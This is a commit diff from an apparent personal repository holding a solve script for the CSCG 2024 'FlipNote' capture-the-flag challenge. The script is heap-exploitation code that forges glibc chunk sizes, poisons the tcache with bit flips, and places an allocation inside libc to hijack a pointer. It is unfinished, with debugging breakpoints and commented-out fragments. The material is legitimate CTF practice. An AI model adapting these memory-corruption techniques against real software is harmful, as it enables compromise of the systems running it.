cscg24-flipnote

CSCG 2024 Challenge 'FlipNote'
git clone https://git.sinitax.com/sinitax/cscg24-flipnote
Log | Files | Refs | sfeed.txt

commit 5427cf2925151b678e46e5d2e74c634c109bd11f
parent 3c435dfcc5fe5e96aac49b5bf73bd5be87fcb7ef
Author: Louis Burda <quent.burda@gmail.com>
Date:   Sat, 27 Apr 2024 02:55:30 +0200

Dont look at this

Diffstat:
Msolve/solve | 347+++++++++++--------------------------------------------------------------------
1 file changed, 46 insertions(+), 301 deletions(-)

diff --git a/solve/solve b/solve/solve @@ -91,330 +91,75 @@ mmap_size_4 = 0x78 * 2 ** 14 + pgsize tcache_size = 0x78 * 2**3 + 0x10 gdb = 'gdb -ex "set debug-file-directory $PWD/debug" -ex "dir glibc" -ex "set debuginfod enabled on"' \ - + ' -ex "target remote localhost:1025" -ex "b main" -ex "continue"' + + ' -ex "target remote localhost:1025" -ex "b main" -ex "b exit" -ex "continue"' run_in_new_terminal(["sh", "-c", f'sleep 1; sudo -E {gdb}'], kill_at_exit=False) -# Prepare some low indexes for later. -chain_head = alloc(cc() * adj(small_size)) -overlap1 = alloc(cc() * adj(small_size)) -overlap2 = alloc(cc() * adj(small_size)) -fake = alloc(cc() * adj(small_size)) - -# Use chain of small mmap'd chunks to manage memory while avoiding -# increasing mmap_threshold by not free'ing large chunks directly, -# but freeing small chunks (2 * mmap_size_1) in a cascaded chain. - -chain_len = 10 -chain = [alloc(cc() * mmap_adj(mmap_size_1)) for _ in range(chain_len)][::-1] - -free(chain[0]) -free(chain_head) -link_payload = flat({ mmap_size_1 - 8: p64(mmap_size_3^0b010) }, mmap_adj(mmap_size_3)) -chain_head = alloc(link_payload) - -def clear(): - edit(chain_head, link_payload) - prev = chain_head - for i in range(chain_len): - free(prev) - prev = grid[i] = alloc(link_payload) - global grid - - - -clear() - -embed() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +dup = alloc(cc() * adj(small_size)) +back = alloc(cc() * adj(small_size)) +past = alloc(cc() * adj(small_size)) +target = alloc(cc() * adj(small_size)) +later = alloc(cc() * adj(tcache_size)) +head = alloc(cc() * mmap_adj(mmap_size_1)) +front = alloc(cc() * mmap_adj(mmap_size_1)) +grid = [alloc(cc() * mmap_adj(mmap_size_1)) for _ in range(3)][::-1] embed() - -# Setup grid. -grid_size = mmap_size_1 -grid = [alloc(cc() * mmap_adj(grid_size)) for _ in range(6)][::-1] +free(grid[0]) +free(dup) +assert(dup == alloc(cc() * mmap_adj(mmap_size_1))) list(map(free, grid)) -def fixup(addr, start, value): - global grid, overlap1, overlap2 - assert(addr > start - mmap_size_3) - offset = addr - start - mmap_size_3 - free(overlap1) - assert(overlap1 == alloc(flat({ offset: value }, mmap_size_3))) - free(overlap1) - overlap1 = alloc(cc() * adj(small_size)) - -adjust = 0x5000 - -fixup(-grid_size-8, 0, p64(adjust^0b010)) - -free(grid[-1]) -left = grid_size - adjust - -free(fake) -fake = alloc(mmap_size_3) -free(fake) -fixup(-mmap_size_3-left-8, -left, p64(tcache_size^0b001)) - -def make_fake(target, offset, size): - global grid, overlap1, overlap2 - - grid_left = offset // grid_size - list(map(free, grid[-grid_left:])) - - offset_1 = grid_size - (offset % grid_size) - if grid_left % grid_size != 0: - free(overlap1) - assert(overlap1 == alloc(flat({ - mmap_size_3 - grid_size - 8: p64(offset_1^0b010) - }, mmap_adj(mmap_size_3)))) - free(overlap1) - overlap1 = alloc(cc() * adj(small_size)) - grid[-grid_left-1] - - free(target) - assert(target == alloc(flat({ - - }, mmap_adj(mmap_size_3)))) - - free(overlap2) - #offset_2 = offset_1 + mmap_size_3 - #overlap2 = alloc(flat({ - # grid_size offset_2 - #}, mmap_adj(mmap_size_1))) - - return target - -fake = make_fake(fake, 0x5000, mmap_size_3) -free(fake) - -overlap_size = mmap_size_3 -overlap_left = grid_size - adjust % grid_size -free(overlap1) -overlap1 = alloc(flat({ - overlap_size - grid_size - 16: p64(0), - overlap_size - grid_size - 8: p64(overlap_left) -}, overlap_size)) - -free(overlap2) -overlap2 = alloc(flat({ - grid_size - (overlap_size % grid_size) - 8: p64(overlap_size - overlap_left) -}, grid_size)) - -free(grid[(adjust//grid_size)-1]) # free overlap_left -free(overlap2) # free overlap - -embed() - -# Alloc large chunk to overlap freed filler chunks. -#chunk = next((i, size) for (a, (i, size)) in mem.items() if a -overlap_size = mmap_size_3 - -fill_tail = overlap_size - fill2[2] * grid_size -free(overlap) -overlap_map = { - fill_tail-16: p64(0), - fill_tail-8: p64(len(fill2)) -} -for i in range(len(fill2)): - offset = overlap_size - (i+1) * grid_size - size = len(fill1) * grid_size + adjust if i == 0 else fill_size - if offset-16 >= 0: overlap_map[offset-16] = p64(0) - if offset-8 >= 0: overlap_map[offset-8] = p64(size^0b010) -assert(overlap == alloc(flat(overlap_map, mmap_adj(overlap_size)))) - -# Free fillers to make space for fake chunk, fill2[0] adjusts the address. -list(map(free, fill2)) - -# Allocate another block to overlap with adjusted chunk. -free(fake) -fake_size = mmap_size_3 -guard_offset = fake_size - adjust -assert(fake == alloc(flat({ - guard_offset-8: p64(tcache_size^0b001) -}, mmap_adj(front2_size)))) - -embed() - -# Free fake chunk into tcache. -free(guard) - -# Free other chunk into same tcache. -free(head) - - -embed() - -padding_size = mmap_size_1 -head_size = mmap_size_1 -back_size = mmap_size_1 - -flip_size = 0x40000 -assert(flip_size & back_size == 0) - -back_new_size = mmap_size_3 -assert(back_new_size > back_size ^ flip_size) -front_adjust = 0x5000 -front_new_size = mmap_size_3 -head_free_size = front_new_size - front_size + front_adjust -assert(front_new_size > back_size ^ flip_size) - -front_offset = back_new_size - flip_size -assert(front_offset > 0 and front_offset <= mmap_adj(back_new_size)-8) - -head_offset = front_offset + front_size -assert(head_offset > 0 and head_offset <= mmap_adj(back_new_size)-8) - -front_new_offset = front_offset + front_adjust -assert(front_new_offset > 0 and front_new_offset <= mmap_adj(back_new_size)-8) - - - -# Prepare a tcache-able chunk for later. -top = alloc(cc() * adj(tcache_size)) - -# Get some buffer space. -padding = [alloc(cc() * mmap_adj(mmap_size_1)) for _ in range(6)] - -# Create front and back chunks with one in between for padding. -head = alloc(cc() * mmap_adj(head_size)) -front = alloc(cc() * mmap_adj(front_size)) -back = alloc(cc() * mmap_adj(back_size)) - -# Flip back chunk size to overlap with front. -flipv(back, -8, flip_size) - -# Free the back chunk with fake size. This unmaps the front chunk as well. -# It also adjusts the internal mmap_threshold to back_size ^ flip_size. -free(back) - -# Realloc back chunk with content to overwrite both front and head chunk headers. -# We use this to control the size of the head chunk, and with it the number of -# pages that are unmapped on free => the position of front chunk after realloc. -# This is important to setup the bit flip into libc. -back = alloc(flat({ - front_offset-16: p64(0), - front_offset-8: p64(front_size^0b010), - head_offset-16: p64(0), - head_offset-8: p64(head_free_size^0b010), -}, mmap_adj(back_new_size))) - -# Free head and front chunk. -free(head) free(front) -# Reallocate front chunk to move pointer it forward into freed space. -front = alloc(cc() * mmap_adj(front_new_size)) -free(front) +adjust = 0x5000 -# Realloc back a bit behind front to overwrite again. free(back) -_ = alloc(cc() * mmap_adj(mmap_size_1)) - -# Overwrite front header again, now pretending it is a non-mmaped tcache-able chunk. -back = alloc(flat({ - mmap_size_1-8: p64(tcache_size^0b001) -}, mmap_adj(back_new_size))) - -embed() - -# WOW: can actually do this with just double-free.. -# We just free and reallocate bigger. Howw did this take so long to get. - -# Free front chunk into tcache. -free(front) - -# Free another chunk into same tcache. -free(top) - -# Now the fd pointer of 'top' chunk is the fake chunk near libc. -# We use our second bit flip to make it point into libc. -flipv(top, 0, 0x400000) - -# Pop top chunk from bin. -top = alloc(cc() * adj(tcache_size)) - -# Allocate the buffer in libc. -libc = alloc(cc() * adj(tcache_size)) - -# use edit to fixup the data - -# call function and win +back_map = { + mmap_size_3 - mmap_size_1 - 16: p64(0), + mmap_size_3 - mmap_size_1 - 8: p64(adjust^0b010) +} +index = len(grid)-1 +offset = mmap_size_1 +while True: + offset += mmap_size_1 + if offset >= mmap_size_3: + break + back_map[mmap_size_3 - offset - 16] = p64(0) + back_map[mmap_size_3 - offset - 8] = p64(mmap_size_1^0b010) + index -= 1 +assert(index == 0) -# NOTE: glibc2.35 has fastbin upto 0xa0! +back = alloc(flat(back_map, mmap_adj(mmap_size_3))) -# should link the bin into unsorted/small bin free list, -# which puts a libc pointer into the freed chunk +free(front) # adjust +for i in range(1, len(grid)): + free(grid[i]) -# NOTE: get_delim will alloc in powers of 2 starting at 0x80 +free(target) +target = alloc(cc() * mmap_adj(mmap_size_3)) -#rm(index) +free(past) +past = alloc(cc() * mmap_adj(mmap_size_3)) -# allocate small chunk to tcache.. -#index = alloc(cc() * (0x70-2)) +# equivalent to grid 0 +edit(dup, flat({ + mmap_size_1 - (mmap_size_3 % mmap_size_1) - 8: p64(tcache_size^0b001) +}, mmap_adj(mmap_size_1))) -# remove it to link into free list and get pointer -#rm(index) +free(target) -# goal is to control the pointer returned by malloc so we can -# write into libc and modify a pointer in the got +free(later) -# we can either use the tcache list or +embed() -io.interactive() +flip(later, 0, 0x400000) -#flip(0, -8, 1) -#flip(0, -8 + 2, 2) -#flip(0, -8 + 2, 1) +assert(later == alloc(adj(tcache_size))) +assert(target == alloc(adj(tcache_size))) +embed()